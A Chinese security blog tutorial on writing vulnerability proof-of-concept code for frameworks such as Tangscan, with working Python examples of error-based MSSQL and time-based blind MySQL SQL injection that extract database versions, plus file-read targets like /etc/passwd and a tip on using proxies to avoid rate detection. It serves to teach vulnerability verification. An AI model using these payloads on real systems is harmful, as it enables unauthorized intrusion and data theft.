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如何自己动手编写漏洞POC

SecJackSecJack WEB安全, 代码审计, 工具分享, 无线安全, 最新漏洞 2017-05-14
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1 前言

善于编写高质量POC，有助于我们更好地发现和利用漏洞，再结合爬虫探测程序，就可以构建一个比较完善的漏洞利用框架。编写POC的门槛并不是很高，关键还是在于对漏洞本身的理解，只要有兴趣，再加点技巧，你就会发现其实都是套路。

2 什么是POC

2.1 POC概念

POC（Proof of Concept），直译为“概念证明”，百度百科的权威定义如下：

“概念证明是证实发布的漏洞真实性的测试代码”

它可能仅仅只是一小段代码，功能也比较简单，只要能够用来验证某一个或者一类漏洞真实存在即可。

2.2 POC与EXP的区别

很多人容易把这两个概念弄混淆，两者从定义上讲是有区别的：

「POC」

POC可以看成是一段验证的代码，就像是一个证据，能够证明漏洞的真实性。

「EXP」

EXP（Exploit）：中文直译为“漏洞利用”，简单点讲，就是通过EXP能够实现漏洞的利用价值。比如某个系统存在SQL注入漏洞，我们可以编写EXP来提取数据库版本信息等。

但是有时两者也不太好区分。我们也可以在POC中加入Exploit的代码，现在很多开源的POC框架其实就是这样做的，比如下面会讲到的几个框架。

3 典型POC框架有哪些

POC框架可以对大量POC进行管理与调度，提供了统一的编程规范与接口，是编写POC很好的帮手。我们只需要按照框架自定义的格式写好POC，然后放在框架中运行即可。目前国内有很多非常优秀框架，这里就介绍其中的几款：

3.1 Pocsuite

Pocsuite框架现为知道创宇Seebug平台通用的漏洞验证框架，使用Python编写POC。可以提交POC换kb，kb可以用来兑换现金，挣点零花钱还是相当不错的。老司机们可能听过Sebug，那是Seebug的前身，2016年Sebug收购了另一个优秀框架Beebeeto后，更名为Seebug。

github地址：knownsec/Pocsuite

3.2 Tangscan

Tangscan（唐朝扫描器）是wooyun社区的官方框架，使用Python编写POC。可以提交POC换汤圆，参与现金分红。Tangscan社区已经关闭，不知道还会不会开，里面的汤圆还没取出来呢。

github地址：WooYun/TangScan

3.3 Bugscan

Bugscan是四叶草的官方框架，使用Python编写POC。提交POC插件获取rank 奖励，可兑换实物奖励，奖品还是蛮丰富的。

SDK下载地址：img.bugscan.net/bin/sdk

还有其他一些优秀的框架没有介绍到。大家可以选择其中任意一个来使用，都非常不错。当然如果有兴趣，也可以自己写个框架，过程并不复杂。

4 需要准备什么

编写POC需要做一些基础性的工作。

4.1 构建POC框架

可以直接选择上面开源的POC框架，也可以自己写框架。选好框架后，需要熟练掌握框架的代码规范和接口，这些都是编写高质量POC的基础。当然了，这个不是必须的步骤，我们也可以不使用框架而直接编写POC，但是不建议这么做。

4.2 熟悉漏洞详情

不管是自己挖的漏洞，还是公开漏洞，在写POC之前，首先需要把漏洞详情搞清楚。对于一些开源CMS，可以到官网或者github上找到对应版本的源码，搭建模拟环境进行研究；有些不开源的漏洞，可以在网上找一些案例进行黑盒测试，复原漏洞产生过程（别做破坏性试验）。最好再撰写一份属于自己的漏洞分析报告，这样可以加深对漏洞的理解，为编写POC打下更坚实的基础。

4.3 构建漏洞靶场

调试POC最好还是搭建模拟环境，一般可以利用虚拟机或者Docker来实现。不到万不得已，非常不建议大家直接利用互联网上的Web应用来调试POC，以免对目标造成破坏。

4.4 选择编程语言

编写POC，首推语言当然是Python了，原因很简单——好用，Python提供的强大类库可以让我们将主要精力都放在具体漏洞研究上，而不用去纠结诸如如何去实现HTML解析、HTTP发送等辅助功能。常用到的Python库如下：

  • urllib2: 发送HTTP/HTTPS请求
  • requests:更“高级”的urllib2库
  • re：正则表达式
  • random：生成随机数
  • base64：base64编码
  • hashlib:常用来计算md5值
  • time：用来统计访问时间延迟
  • ……

当然语言只是工具载体，并不局限于Python。原则上你想用什么语言都可以，建议首选那种外部条件依赖少、简单好用而且自己也比较熟悉的语言。

5 需要注意什么

编写POC比较自由，但是想实现一个高质量的POC，就要格外注意代码的规范性。

5.1 降低误报率

尽量选择一些“特殊”的字符串作为判断漏洞的特征值。比如我们编写验证SQL注入漏洞的POC时，就可以充分利用数据库的特性：

MySQL

MySQL内置了md5函数，可以用其来输出某个数字的md5值：

PHP
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select md5(1);

但是固定计算某个数字的md5值，特征还是有点明显，加上随机数：

PHP
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#生成随机数
rand_num=random.randint(0,1000)
计算md5值
hash_flag=hashlib.md5(str(rand_num)).hexdigest()
…
#利用注入计算md5
…select md5({num})….format(num=rand_num)
…

MSSQL

MSSQL在2005版本以后，提供了计算md5值的内置函数：

PHP
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select sys.fn_varbintohexstr(hashbytes('MD5','1'));

Oracle

Oracle实现md5比较复杂，可以利用CHR编码：

PHP
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select CHR(97) || CHR(99) || CHR(120) || CHR(118) || CHR(99) || CHR(98) || CHR(110) from dual

效果相当于：

PHP
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select 'acxvcbn' from dual

也可以结合随机数：

PHP
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Rand_str =
random.sample("1234789acioepLFTQVBUSEus",7)
keyword=''.join(Rand_str)
value=['CHR('+str(ord(x))+')||' for x in keyword]
value=''.join(value).rstrip('||')

再比如任意文件读取漏洞，在读取系统文件时，要考虑到Windows和Linux的差异性，比如：

  • Windows 读取C:/Windows/System32/drivers/etc/hosts
  • Linux 读取/etc/passwd

其他类型的漏洞也要具体分析，这里不再赘述。

5.2 不要带有破坏性

执行POC不能对目标造成破坏，只要验证漏洞存在就可以了。

5.3 尽可能降低访问频率

比如盲注漏洞利用，需要不断向服务器发包，在编写POC时，应该适当减少发包频率，可以sleep，也可以考虑在自己的POC框架中加入代理资源。

6 POC实例

说了这么多，下面就来实战一把。这里我们就选择Tangscan框架吧，其他的框架格式也差不多。

Tangscan框架POC文档的结构如下：

PHP
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#! /usr/bin/env python
# -*- coding: utf-8 -*-
 
from modules.exploit import TSExploit
 
class TangScan(TSExploit):
    """
    类名必须是TangScan，而且需要继承于TSExploit
    """
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "",  # 该POC的名称
            "product": "",  # 该POC所针对的应用名称, 严格按照 tangscan 主页上的进行填写
            "product_version": "",  # 应用的版本号
            "desc": """
 
            """,  # 该POC的描述
            "license": self.license.TS,  # POC的版权信息
            "author": [""],  # 编写POC者
            "ref": [
                {self.ref.url: ""},  # 引用的url
                {self.ref.wooyun: ""},  # wooyun案例
            ],
            "type": self.type.injection,  # 漏洞类型
            "severity": self.severity.high,  # 漏洞等级
            "privileged": False,  # 是否需要登录
            "disclosure_date": "2014-09-17",  # 漏洞公开时间
            "create_date": "2014-09-17",  # POC 创建时间
        }
 
        self.register_option({
            "url": {  # POC 的参数 url
                "default": "",  # 参数的默认值
                "required": True,  # 参数是否必须
                "choices": [],  # 参数的可选值
                "convert": self.convert.url_field,  # 参数的转换函数
                "desc": ""  # 参数的描述
            }
        })
 
        self.register_result({
            "status": False,  # POC 的返回状态
            "data": {
 
            },  # POC 的返回数据
            "description": "",  # POC 返回对人类良好的信息
            "error": ""  # POC 执行失败的原因
        })
 
    def verify(self):
        """
        验证类型，尽量不触发waf规则
        :return:
        """
        pass
 
    def exploit(self):
        """
        攻击类型
        :return:
        """
        pass
 
 
if __name__ == '__main__':
    from modules.main import main
    main(TangScan())

有了模板，我们现在需要做的其实就是“填空”。最主要的就是实现verify和exploit两个函数（Tangscan将POC与EXP集合在一起了）。也可以只完成其中一个函数，另外一个做如下处理：

PHP
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def exploit(self):
        return self.verify()

下面就选取SQL注入漏洞POC编写的例子，来大概描述下POC编写的一些常用技巧。

SQL注入大致上可以分为非盲注和盲注两大类：

6.1 非盲注类型

非盲注注入也有很多种，比如回显报错、Union查询等。这里编写回显报错注入的POC代码，其他类型的编写技巧比较类似。回显报错注入可以直接从报错信息中读取数据。构造计算md5值的payload作为verify函数，利用SQL提取数据库版本信息的payload作为exploit函数。下面是一个MSSQL报错回显注入的例子：

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def verify(self):
        rand_num=random.randint(0,1000)
        hash_flag=hashlib.md5(str(rand_num)).hexdigest()
        payload=("1' and sys.fn_varbintohexstr(hashbytes('MD5', '{num}'))=0 and '1'='1").format(num=rand_num)
        exp_url="{domain}/xxxx?sql={py}".format(domain=self.option.url,py=payload)
        try:
            response = requests.get(url=exp_url, timeout=15, verify=False)
        except Exception, e:
            self.result.error = str(e)
            return
        if hash_flag not in response.content:
            self.result.status = False
            return
        self.result.status = True
        self.result.description = "目标 {url} 存在SQL注入漏洞,\n\t测试链接: {eurl}".format(
            url=self.option.url,
            eurl=exp_url
        )
 
def exploit(self):
        exp_url="{domain}/xxxx?sql=a' and 1=CONVERT(int,CHAR(126)%2BCHAR(126)%2BCHAR(126)%2B@@version%2BCHAR(126)%2BCHAR(126)%2BCHAR(126))--".format(domain=self.option.url.rstrip('/'))
        try:
            response = requests.get(url=exp_url, timeout=15, verify=False)
            result = re.findall(r'~~~(.*?)~~~', response.content, re.S | re.I)
        except Exception, e:
            self.result.error = str(e)
            return
 
        if len(result) == 0:
            self.result.status = False
            return
        self.result.status = True
        self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的数据库版本信息: {version}\n\t测试链接: {eurl}".format(
            url=self.option.url,
            version=result[0],
            eurl=exp_url
        )

上面的exploit函数利用’~~~’将版本信息包住，是为了方便利用正则表达式提取，并且在payload中进行了编码处理，这种方式在方便我们提取信息的同时，也起到了降低误报率的作用，在编写POC的过程中经常用到。

6.2 盲注类型

盲注类型也有好几种，比如Boolen盲注、时间延迟注入等。盲注需要不断提交请求，从而获取完整的数据信息。这里以MySQL时间延迟注入类型为例：

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def verify(self):
        return self.exploit()
 
    def exploit(self):
        ver = ""
        ver_len = 0
        exp_url = ("{domain}/xxxx?sql=".format(domain=self.option.url))
        payloads = ['@','_','.', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']+ list(string.ascii_lowercase)
        l = "1' AND (SELECT * FROM (SELECT(if(length(substring(version(),1))=%s,sleep(8),0)))a) AND 'a'='a"
        s = "1' AND (SELECT * FROM (SELECT(if(ascii(lower(mid(version(),%s,1)))=%s,sleep(6),0)))a) AND 'a'='a"
 
        #获取长度
        for x in range(1, 30):
            start = time.time()
            py=l % str(x)
            vulurl=exp_url+py
            try:
                response = requests.get(vulurl,timeout=15, verify=False)
                #限制访问速度
                time.sleep(0.5)
                if response.status_code != 200:
                    self.result.status = False
                    return
            except Exception,e:
                self.result.error = str(e)
                return
            end = time.time()
            if (end - start) >=8:
                ver_len = x
                break
 
        if ver_len == 0:
            self.result.status = False
            return
 
        #移位获取数据
        for x in range(1, ver_len+1):
            for payload in payloads:
                start = time.time()
                py= s % (str(x), str(ord(payload)))
                vulurl=exp_url+py
                try:
                    response = requests.get(vulurl, timeout=15, verify=False)
                    #限制请求速率
                    time.sleep(0.5)
                    if response.status_code != 200:
                        self.result.status = False
                        return
                except Exception,e:
                    self.result.error = str(e)
                    return
                end = time.time()
                if (end - start) >=6:
                    ver = ver + payload
        #检查长度
        if len(ver)!=ver_len:
            self.result.status = False
            return
        self.result.status = True
        self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的当前数据库版本为：{db_ver}".format(
            url=self.option.url,
            db_ver=ver
        )

上面的exploit函数采用移位方式来获取数据库版本信息，还可以利用二分法等更高效的方法来实现，大家可以尝试编写。

为了防止同一IP地址频繁访问目标URL，代码中通过sleep方式来限制访问速度，更好的方法是构建自己的代理网络，使用代理方式来实现，感兴趣的可以自己研究下，这里不多讲。

7 后记

上面以SQL注入漏洞为例编写了两个比较有代表性的POC样本，其他类型的Web漏洞的编写技巧也有相似之处，以后如果有时间再继续写吧。

参考文献

概念证明_百度百科knownsec/PocsuiteWooYun/TangScanBugScan 插件开发文档 | BugScan 插件开发文档

原文链接：https://zhuanlan.zhihu.com/p/26832890本文作者:kikay，Seebug漏洞社区平台排行榜榜首
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